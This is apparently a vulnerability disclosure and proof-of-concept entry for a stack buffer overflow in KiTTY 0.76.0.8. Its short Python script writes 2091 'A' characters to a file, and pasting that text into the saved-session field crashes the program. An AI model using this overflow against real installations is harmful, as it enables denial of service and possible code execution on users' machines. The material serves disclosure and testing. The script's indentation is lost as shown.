Kitty 0.76.0.8 Stack Buffer Overflow

`# Exploit Title: Kitty 0.76.0.8 Stack Buffer Overflow  
# Discovered by: Yehia Elghaly  
# Discovered Date: 2022-06-08  
# Vendor Homepage: http://www.9bis.net/kitty/index.html#!index.md  
# Software Link : https://www.fosshub.com/KiTTY.html?dwl=kitty_portable-0.76.0.8.exe  
# Tested Version: 0.76.0.8  
# Vulnerability Type: Buffer Overflow  
# Tested on OS: Windows 7 Professional x86 SP1 - Windows 10 x64  
  
# Description: Kitty 0.76.0.8 Stack Buffer Overflow  
  
# Steps to reproduce:  
# 1. - Run the python script and it will create exploit.txt file.  
# 3. - Kitty 0.76.0.8  
# 4. - Sessions -> Save  
# 5. - Paste the characters of txt to Saved/Sessions then click save  
# 6. - Crashed  
# Note: ECX Overwwrite   
  
#!/usr/bin/python  
  
exploit = 'A' * 2091  
  
try:   
file = open("exploit.txt","w")  
file.write(exploit)  
file.close()  
  
print("POC is created")  
except:  
print("POC not created")  
`